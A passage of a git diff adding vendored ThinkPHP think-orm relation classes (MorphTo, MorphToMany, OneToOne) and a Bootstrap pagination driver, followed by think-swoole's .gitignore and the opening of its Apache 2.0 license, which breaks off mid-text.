think\helper\Str; +use think\Model; +use think\model\Relation; + +/** + * 多态关联类 + */ +class MorphTo extends Relation +{ + /** + * 多态关联外键 + * @var string + */ + protected $morphKey; + + /** + * 多态字段 + * @var string + */ + protected $morphType; + + /** + * 多态别名 + * @var array + */ + protected $alias = []; + + /** + * 关联名 + * @var string + */ + protected $relation; + + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $morphType 多态字段名 + * @param string $morphKey 外键名 + * @param array $alias 多态别名定义 + * @param string $relation 关联名 + */ + public function __construct(Model $parent, string $morphType, string $morphKey, array $alias = [], string $relation = null) + { + $this->parent = $parent; + $this->morphType = $morphType; + $this->morphKey = $morphKey; + $this->alias = $alias; + $this->relation = $relation; + } + + /** + * 获取当前的关联模型类的实例 + * @access public + * @return Model + */ + public function getModel(): Model + { + $morphType = $this->morphType; + $model = $this->parseModel($this->parent->$morphType); + + return (new $model); + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Model + */ + public function getRelation(array $subRelation = [], Closure $closure = null) + { + $morphKey = $this->morphKey; + $morphType = $this->morphType; + + // 多态模型 + $model = $this->parseModel($this->parent->$morphType); + + // 主键数据 + $pk = $this->parent->$morphKey; + + $relationModel = (new $model)->relation($subRelation)->find($pk); + + if ($relationModel) { + $relationModel->setParent(clone $this->parent); + } + + return $relationModel; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null) + { + return $this->parent; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) + { + throw new Exception('relation not support: hasWhere'); + } + + /** + * 解析模型的完整命名空间 + * @access protected + * @param string $model 模型名(或者完整类名) + * @return string + */ + protected function parseModel(string $model): string + { + if (isset($this->alias[$model])) { + $model = $this->alias[$model]; + } + + if (false === strpos($model, '\\')) { + $path = explode('\\', get_class($this->parent)); + array_pop($path); + array_push($path, Str::studly($model)); + $model = implode('\\', $path); + } + + return $model; + } + + /** + * 设置多态别名 + * @access public + * @param array $alias 别名定义 + * @return $this + */ + public function setAlias(array $alias) + { + $this->alias = $alias; + + return $this; + } + + /** + * 移除关联查询参数 + * @access public + * @return $this + */ + public function removeOption() + { + return $this; + } + + /** + * 预载入关联查询 + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + * @throws Exception + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $morphKey = $this->morphKey; + $morphType = $this->morphType; + $range = []; + + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (!empty($result->$morphKey)) { + $range[$result->$morphType][] = $result->$morphKey; + } + } + + if (!empty($range)) { + + foreach ($range as $key => $val) { + // 多态类型映射 + $model = $this->parseModel($key); + $obj = new $model; + $pk = $obj->getPk(); + $list = $obj->with($subRelation) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select($val); + $data = []; + + foreach ($list as $k => $vo) { + $data[$vo->$pk] = $vo; + } + + foreach ($resultSet as $result) { + if ($key == $result->$morphType) { + // 关联模型 + if (!isset($data[$result->$morphKey])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$morphKey]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + $result->setRelation($relation, $relationModel); + } + } + } + } + } + + /** + * 预载入关联查询 + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + // 多态类型映射 + $model = $this->parseModel($result->{$this->morphType}); + + $this->eagerlyMorphToOne($model, $relation, $result, $subRelation, $cache); + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @return integer + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*') + {} + + /** + * 多态MorphTo 关联模型预查询 + * @access protected + * @param string $model 关联模型对象 + * @param string $relation 关联名 + * @param Model $result + * @param array $subRelation 子关联 + * @param array $cache 关联缓存 + * @return void + */ + protected function eagerlyMorphToOne(string $model, string $relation, Model $result, array $subRelation = [], array $cache = []): void + { + // 预载入关联查询 支持嵌套预载入 + $pk = $this->parent->{$this->morphKey}; + $data = (new $model)->with($subRelation) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->find($pk); + + if ($data) { + $data->setParent(clone $result); + $data->exists(true); + } + + $result->setRelation($relation, $data ?: null); + } + + /** + * 添加关联数据 + * @access public + * @param Model $model 关联模型对象 + * @param string $type 多态类型 + * @return Model + */ + public function associate(Model $model, string $type = ''): Model + { + $morphKey = $this->morphKey; + $morphType = $this->morphType; + $pk = $model->getPk(); + + $this->parent->setAttr($morphKey, $model->$pk); + $this->parent->setAttr($morphType, $type ?: get_class($model)); + $this->parent->save(); + + return $this->parent->setRelation($this->relation, $model); + } + + /** + * 注销关联数据 + * @access public + * @return Model + */ + public function dissociate(): Model + { + $morphKey = $this->morphKey; + $morphType = $this->morphType; + + $this->parent->setAttr($morphKey, null); + $this->parent->setAttr($morphType, null); + $this->parent->save(); + + return $this->parent->setRelation($this->relation, null); + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphToMany.php b/vendor/topthink/think-orm/src/model/relation/MorphToMany.php new file mode 100644 index 0000000..88bbf9a --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/MorphToMany.php @@ -0,0 +1,458 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use Exception; +use think\db\BaseQuery as Query; +use think\db\Raw; +use think\Model; +use think\model\Pivot; + +/** + * 多态多对多关联 + */ +class MorphToMany extends BelongsToMany +{ + + /** + * 多态字段名 + * @var string + */ + protected $morphType; + + /** + * 多态模型名 + * @var string + */ + protected $morphClass; + + /** + * 是否反向关联 + * @var bool + */ + protected $inverse; + + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 模型名 + * @param string $middle 中间表名/模型名 + * @param string $morphKey 关联外键 + * @param string $morphType 多态字段名 + * @param string $localKey 当前模型关联键 + * @param bool $inverse 反向关联 + */ + public function __construct(Model $parent, string $model, string $middle, string $morphType, string $morphKey, string $localKey, bool $inverse = false) + { + $this->morphType = $morphType; + $this->inverse = $inverse; + $this->morphClass = $inverse ? $model : get_class($parent); + + $foreignKey = $inverse ? $morphKey : $localKey; + $localKey = $inverse ? $localKey : $morphKey; + + parent::__construct($parent, $model, $middle, $foreignKey, $localKey); + } + + /** + * 预载入关联查询(数据集) + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $pk = $resultSet[0]->getPk(); + $range = []; + + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (isset($result->$pk)) { + $range[] = $result->$pk; + } + } + + if (!empty($range)) { + // 查询关联数据 + $data = $this->eagerlyManyToMany([ + ['pivot.' . $this->localKey, 'in', $range], + ['pivot.' . $this->morphType, '=', $this->morphClass], + ], $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + if (!isset($data[$result->$pk])) { + $data[$result->$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$result->$pk], clone $this->parent)); + } + } + } + + /** + * 预载入关联查询(单个数据) + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $pk = $result->getPk(); + + if (isset($result->$pk)) { + $pk = $result->$pk; + // 查询管理数据 + $data = $this->eagerlyManyToMany([ + ['pivot.' . $this->localKey, '=', $pk], + ['pivot.' . $this->morphType, '=', $this->morphClass], + ], $subRelation, $closure, $cache); + + // 关联数据封装 + if (!isset($data[$pk])) { + $data[$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); + } + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return integer + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): float + { + $pk = $result->getPk(); + + if (!isset($result->$pk)) { + return 0; + } + + $pk = $result->$pk; + + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ + ['pivot.' . $this->localKey, '=', $pk], + ['pivot.' . $this->morphType, '=', $this->morphClass], + ])->$aggregate($field); + } + + /** + * 获取关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string + { + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ + ['pivot.' . $this->localKey, 'exp', new Raw('=' . $this->parent->db(false)->getTable() . '.' . $this->parent->getPk())], + ['pivot.' . $this->morphType, '=', $this->morphClass], + ])->fetchSql()->$aggregate($field); + } + + /** + * BELONGS TO MANY 关联查询 + * @access protected + * @param string $foreignKey 关联模型关联键 + * @param string $localKey 当前模型关联键 + * @param array $condition 关联查询条件 + * @return Query + */ + protected function belongsToManyQuery(string $foreignKey, string $localKey, array $condition = []): Query + { + // 关联查询封装 + $tableName = $this->query->getTable(); + $table = $this->pivot->db()->getTable(); + $fields = $this->getQueryFields($tableName); + + if ($this->withLimit) { + $this->query->limit($this->withLimit); + } + + $query = $this->query + ->field($fields) + ->tableField(true, $table, 'pivot', 'pivot__'); + + if (empty($this->baseQuery)) { + $relationFk = $this->query->getPk(); + $query->join([$table => 'pivot'], 'pivot.' . $foreignKey . '=' . $tableName . '.' . $relationFk) + ->where($condition); + } + + return $query; + } + + /** + * 多对多 关联模型预查询 + * @access protected + * @param array $where 关联预查询条件 + * @param array $subRelation 子关联 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyManyToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + // 预载入关联查询 支持嵌套预载入 + $list = $this->belongsToManyQuery($this->foreignKey, $this->localKey, $where) + ->with($subRelation) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select(); + + // 组装模型数据 + $data = []; + foreach ($list as $set) { + $pivot = []; + foreach ($set->getData() as $key => $val) { + if (strpos($key, '__')) { + [$name, $attr] = explode('__', $key, 2); + if ('pivot' == $name) { + $pivot[$attr] = $val; + unset($set->$key); + } + } + } + + $key = $pivot[$this->localKey]; + + if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { + continue; + } + + $set->setRelation($this->pivotDataName, $this->newPivot($pivot)); + + $data[$key][] = $set; + } + + return $data; + } + + /** + * 附加关联的一个中间表数据 + * @access public + * @param mixed $data 数据 可以使用数组、关联模型对象 或者 关联对象的主键 + * @param array $pivot 中间表额外数据 + * @return array|Pivot + */ + public function attach($data, array $pivot = []) + { + if (is_array($data)) { + if (key($data) === 0) { + $id = $data; + } else { + // 保存关联表数据 + $model = new $this->model; + $id = $model->insertGetId($data); + } + } else if (is_numeric($data) || is_string($data)) { + // 根据关联表主键直接写入中间表 + $id = $data; + } else if ($data instanceof Model) { + // 根据关联表主键直接写入中间表 + $id = $data->getKey(); + } + + if (!empty($id)) { + // 保存中间表数据 + $pivot[$this->localKey] = $this->parent->getKey(); + $pivot[$this->morphType] = $this->morphClass; + $ids = (array) $id; + + $result = []; + + foreach ($ids as $id) { + $pivot[$this->foreignKey] = $id; + + $this->pivot->replace() + ->exists(false) + ->data([]) + ->save($pivot); + $result[] = $this->newPivot($pivot); + } + + if (count($result) == 1) { + // 返回中间表模型对象 + $result = $result[0]; + } + + return $result; + } else { + throw new Exception('miss relation data'); + } + } + + /** + * 判断是否存在关联数据 + * @access public + * @param mixed $data 数据 可以使用关联模型对象 或者 关联对象的主键 + * @return Pivot|false + */ + public function attached($data) + { + if ($data instanceof Model) { + $id = $data->getKey(); + } else { + $id = $data; + } + + $pivot = $this->pivot + ->where($this->localKey, $this->parent->getKey()) + ->where($this->morphType, $this->morphClass) + ->where($this->foreignKey, $id) + ->find(); + + return $pivot ?: false; + } + + /** + * 解除关联的一个中间表数据 + * @access public + * @param integer|array $data 数据 可以使用关联对象的主键 + * @param bool $relationDel 是否同时删除关联表数据 + * @return integer + */ + public function detach($data = null, bool $relationDel = false): int + { + if (is_array($data)) { + $id = $data; + } else if (is_numeric($data) || is_string($data)) { + // 根据关联表主键直接写入中间表 + $id = $data; + } else if ($data instanceof Model) { + // 根据关联表主键直接写入中间表 + $id = $data->getKey(); + } + + // 删除中间表数据 + $pivot = [ + [$this->localKey, '=', $this->parent->getKey()], + [$this->morphType, '=', $this->morphClass], + ]; + + if (isset($id)) { + $pivot[] = [$this->foreignKey, is_array($id) ? 'in' : '=', $id]; + } + + $result = $this->pivot->where($pivot)->delete(); + + // 删除关联表数据 + if (isset($id) && $relationDel) { + $model = $this->model; + $model::destroy($id); + } + + return $result; + } + + /** + * 数据同步 + * @access public + * @param array $ids + * @param bool $detaching + * @return array + */ + public function sync(array $ids, bool $detaching = true): array + { + $changes = [ + 'attached' => [], + 'detached' => [], + 'updated' => [], + ]; + + $current = $this->pivot + ->where($this->localKey, $this->parent->getKey()) + ->where($this->morphType, $this->morphClass) + ->column($this->foreignKey); + + $records = []; + + foreach ($ids as $key => $value) { + if (!is_array($value)) { + $records[$value] = []; + } else { + $records[$key] = $value; + } + } + + $detach = array_diff($current, array_keys($records)); + + if ($detaching && count($detach) > 0) { + $this->detach($detach); + $changes['detached'] = $detach; + } + + foreach ($records as $id => $attributes) { + if (!in_array($id, $current)) { + $this->attach($id, $attributes); + $changes['attached'][] = $id; + } else if (count($attributes) > 0 && $this->attach($id, $attributes)) { + $changes['updated'][] = $id; + } + } + + return $changes; + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery)) { + $foreignKey = $this->foreignKey; + $localKey = $this->localKey; + + // 关联查询 + $this->belongsToManyQuery($foreignKey, $localKey, [ + ['pivot.' . $localKey, '=', $this->parent->getKey()], + ['pivot.' . $this->morphType, '=', $this->morphClass], + ]); + + $this->baseQuery = true; + } + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/OneToOne.php b/vendor/topthink/think-orm/src/model/relation/OneToOne.php new file mode 100644 index 0000000..65bbfda --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/OneToOne.php @@ -0,0 +1,328 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use think\db\BaseQuery as Query; +use think\db\exception\DbException as Exception; +use think\helper\Str; +use think\Model; +use think\model\Relation; + +/** + * 一对一关联基础类 + * @package think\model\relation + */ +abstract class OneToOne extends Relation +{ + /** + * JOIN类型 + * @var string + */ + protected $joinType = 'INNER'; + + /** + * 绑定的关联属性 + * @var array + */ + protected $bindAttr = []; + + /** + * 关联名 + * @var string + */ + protected $relation; + + /** + * 设置join类型 + * @access public + * @param string $type JOIN类型 + * @return $this + */ + public function joinType(string $type) + { + $this->joinType = $type; + return $this; + } + + /** + * 预载入关联查询(JOIN方式) + * @access public + * @param Query $query 查询对象 + * @param string $relation 关联名 + * @param mixed $field 关联字段 + * @param string $joinType JOIN方式 + * @param Closure $closure 闭包条件 + * @param bool $first + * @return void + */ + public function eagerly(Query $query, string $relation, $field = true, string $joinType = '', Closure $closure = null, bool $first = false): void + { + $name = Str::snake(class_basename($this->parent)); + + if ($first) { + $table = $query->getTable(); + $query->table([$table => $name]); + + if ($query->getOptions('field')) { + $masterField = $query->getOptions('field'); + $query->removeOption('field'); + } else { + $masterField = true; + } + + $query->tableField($masterField, $table, $name); + } + + // 预载入封装 + $joinTable = $this->query->getTable(); + $joinAlias = $relation; + $joinType = $joinType ?: $this->joinType; + + $query->via($joinAlias); + + if ($this instanceof BelongsTo) { + $joinOn = $name . '.' . $this->foreignKey . '=' . $joinAlias . '.' . $this->localKey; + } else { + $joinOn = $name . '.' . $this->localKey . '=' . $joinAlias . '.' . $this->foreignKey; + } + + if ($closure) { + // 执行闭包查询 + $closure($this->getClosureType($closure)); + + // 使用withField指定获取关联的字段 + if ($this->withField) { + $field = $this->withField; + } + } + + $query->join([$joinTable => $joinAlias], $joinOn, $joinType) + ->tableField($field, $joinTable, $joinAlias, $relation . '__'); + } + + /** + * 预载入关联查询(数据集) + * @access protected + * @param array $resultSet + * @param string $relation + * @param array $subRelation + * @param Closure $closure + * @return mixed + */ + abstract protected function eagerlySet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null); + + /** + * 预载入关联查询(数据) + * @access protected + * @param Model $result + * @param string $relation + * @param array $subRelation + * @param Closure $closure + * @return mixed + */ + abstract protected function eagerlyOne(Model $result, string $relation, array $subRelation = [], Closure $closure = null); + + /** + * 预载入关联查询(数据集) + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @param bool $join 是否为JOIN方式 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = [], bool $join = false): void + { + if ($join) { + // 模型JOIN关联组装 + foreach ($resultSet as $result) { + $this->match($this->model, $relation, $result); + } + } else { + // IN查询 + $this->eagerlySet($resultSet, $relation, $subRelation, $closure, $cache); + } + } + + /** + * 预载入关联查询(数据) + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @param bool $join 是否为JOIN方式 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = [], bool $join = false): void + { + if ($join) { + // 模型JOIN关联组装 + $this->match($this->model, $relation, $result); + } else { + // IN查询 + $this->eagerlyOne($result, $relation, $subRelation, $closure, $cache); + } + } + + /** + * 保存(新增)当前关联数据对象 + * @access public + * @param mixed $data 数据 可以使用数组 关联模型对象 + * @param boolean $replace 是否自动识别更新和写入 + * @return Model|false + */ + public function save($data, bool $replace = true) + { + if ($data instanceof Model) { + $data = $data->getData(); + } + + $model = new $this->model; + // 保存关联表数据 + $data[$this->foreignKey] = $this->parent->{$this->localKey}; + + return $model->replace($replace)->save($data) ? $model : false; + } + + /** + * 绑定关联表的属性到父模型属性 + * @access public + * @param array $attr 要绑定的属性列表 + * @return $this + */ + public function bind(array $attr) + { + $this->bindAttr = $attr; + + return $this; + } + + /** + * 获取绑定属性 + * @access public + * @return array + */ + public function getBindAttr(): array + { + return $this->bindAttr; + } + + /** + * 一对一 关联模型预查询拼装 + * @access public + * @param string $model 模型名称 + * @param string $relation 关联名 + * @param Model $result 模型对象实例 + * @return void + */ + protected function match(string $model, string $relation, Model $result): void + { + // 重新组装模型数据 + foreach ($result->getData() as $key => $val) { + if (strpos($key, '__')) { + [$name, $attr] = explode('__', $key, 2); + if ($name == $relation) { + $list[$name][$attr] = $val; + unset($result->$key); + } + } + } + + if (isset($list[$relation])) { + $array = array_unique($list[$relation]); + + if (count($array) == 1 && null === current($array)) { + $relationModel = null; + } else { + $relationModel = new $model($list[$relation]); + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + if (!empty($this->bindAttr)) { + $this->bindAttr($result, $relationModel); + } + } else { + $relationModel = null; + } + + $result->setRelation($relation, $relationModel); + } + + /** + * 绑定关联属性到父模型 + * @access protected + * @param Model $result 父模型对象 + * @param Model $model 关联模型对象 + * @return void + * @throws Exception + */ + protected function bindAttr(Model $result, Model $model = null): void + { + foreach ($this->bindAttr as $key => $attr) { + $key = is_numeric($key) ? $attr : $key; + $value = $result->getOrigin($key); + + if (!is_null($value)) { + throw new Exception('bind attr has exists:' . $key); + } + + $result->setAttr($key, $model ? $model->$attr : null); + } + } + + /** + * 一对一 关联模型预查询(IN方式) + * @access public + * @param array $where 关联预查询条件 + * @param string $key 关联键名 + * @param array $subRelation 子关联 + * @param Closure $closure + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyWhere(array $where, string $key, array $subRelation = [], Closure $closure = null, array $cache = []) + { + // 预载入关联查询 支持嵌套预载入 + if ($closure) { + $this->baseQuery = true; + $closure($this->getClosureType($closure)); + } + + if ($this->withField) { + $this->query->field($this->withField); + } + + $list = $this->query + ->where($where) + ->with($subRelation) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select(); + + // 组装模型数据 + $data = []; + + foreach ($list as $set) { + if (!isset($data[$set->$key])) { + $data[$set->$key] = $set; + } + } + + return $data; + } + +} diff --git a/vendor/topthink/think-orm/src/paginator/driver/Bootstrap.php b/vendor/topthink/think-orm/src/paginator/driver/Bootstrap.php new file mode 100644 index 0000000..6d55c39 --- /dev/null +++ b/vendor/topthink/think-orm/src/paginator/driver/Bootstrap.php @@ -0,0 +1,209 @@ + +// +---------------------------------------------------------------------- + +namespace think\paginator\driver; + +use think\Paginator; + +/** + * Bootstrap 分页驱动 + */ +class Bootstrap extends Paginator +{ + + /** + * 上一页按钮 + * @param string $text + * @return string + */ + protected function getPreviousButton(string $text = "«"): string + { + + if ($this->currentPage() <= 1) { + return $this->getDisabledTextWrapper($text); + } + + $url = $this->url( + $this->currentPage() - 1 + ); + + return $this->getPageLinkWrapper($url, $text); + } + + /** + * 下一页按钮 + * @param string $text + * @return string + */ + protected function getNextButton(string $text = '»'): string + { + if (!$this->hasMore) { + return $this->getDisabledTextWrapper($text); + } + + $url = $this->url($this->currentPage() + 1); + + return $this->getPageLinkWrapper($url, $text); + } + + /** + * 页码按钮 + * @return string + */ + protected function getLinks(): string + { + if ($this->simple) { + return ''; + } + + $block = [ + 'first' => null, + 'slider' => null, + 'last' => null, + ]; + + $side = 3; + $window = $side * 2; + + if ($this->lastPage < $window + 6) { + $block['first'] = $this->getUrlRange(1, $this->lastPage); + } elseif ($this->currentPage <= $window) { + $block['first'] = $this->getUrlRange(1, $window + 2); + $block['last'] = $this->getUrlRange($this->lastPage - 1, $this->lastPage); + } elseif ($this->currentPage > ($this->lastPage - $window)) { + $block['first'] = $this->getUrlRange(1, 2); + $block['last'] = $this->getUrlRange($this->lastPage - ($window + 2), $this->lastPage); + } else { + $block['first'] = $this->getUrlRange(1, 2); + $block['slider'] = $this->getUrlRange($this->currentPage - $side, $this->currentPage + $side); + $block['last'] = $this->getUrlRange($this->lastPage - 1, $this->lastPage); + } + + $html = ''; + + if (is_array($block['first'])) { + $html .= $this->getUrlLinks($block['first']); + } + + if (is_array($block['slider'])) { + $html .= $this->getDots(); + $html .= $this->getUrlLinks($block['slider']); + } + + if (is_array($block['last'])) { + $html .= $this->getDots(); + $html .= $this->getUrlLinks($block['last']); + } + + return $html; + } + + /** + * 渲染分页html + * @return mixed + */ + public function render() + { + if ($this->hasPages()) { + if ($this->simple) { + return sprintf( + '
      %s %s
    ', + $this->getPreviousButton(), + $this->getNextButton() + ); + } else { + return sprintf( + '
      %s %s %s
    ', + $this->getPreviousButton(), + $this->getLinks(), + $this->getNextButton() + ); + } + } + } + + /** + * 生成一个可点击的按钮 + * + * @param string $url + * @param string $page + * @return string + */ + protected function getAvailablePageWrapper(string $url, string $page): string + { + return '
  • ' . $page . '
  • '; + } + + /** + * 生成一个禁用的按钮 + * + * @param string $text + * @return string + */ + protected function getDisabledTextWrapper(string $text): string + { + return '
  • ' . $text . '
  • '; + } + + /** + * 生成一个激活的按钮 + * + * @param string $text + * @return string + */ + protected function getActivePageWrapper(string $text): string + { + return '
  • ' . $text . '
  • '; + } + + /** + * 生成省略号按钮 + * + * @return string + */ + protected function getDots(): string + { + return $this->getDisabledTextWrapper('...'); + } + + /** + * 批量生成页码按钮. + * + * @param array $urls + * @return string + */ + protected function getUrlLinks(array $urls): string + { + $html = ''; + + foreach ($urls as $page => $url) { + $html .= $this->getPageLinkWrapper($url, $page); + } + + return $html; + } + + /** + * 生成普通页码按钮 + * + * @param string $url + * @param string $page + * @return string + */ + protected function getPageLinkWrapper(string $url, string $page): string + { + if ($this->currentPage() == $page) { + return $this->getActivePageWrapper($page); + } + + return $this->getAvailablePageWrapper($url, $page); + } +} diff --git a/vendor/topthink/think-swoole/.gitignore b/vendor/topthink/think-swoole/.gitignore new file mode 100644 index 0000000..ccdd1dc --- /dev/null +++ b/vendor/topthink/think-swoole/.gitignore @@ -0,0 +1,6 @@ + +.DS_Store +*.xml +.idea/think-swoole.iml +composer.lock +vendor \ No newline at end of file diff --git a/vendor/topthink/think-swoole/LICENSE b/vendor/topthink/think-swoole/LICENSE new file mode 100644 index 0000000..8dada3e --- /dev/null +++ b/vendor/topthink/think-swoole/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, 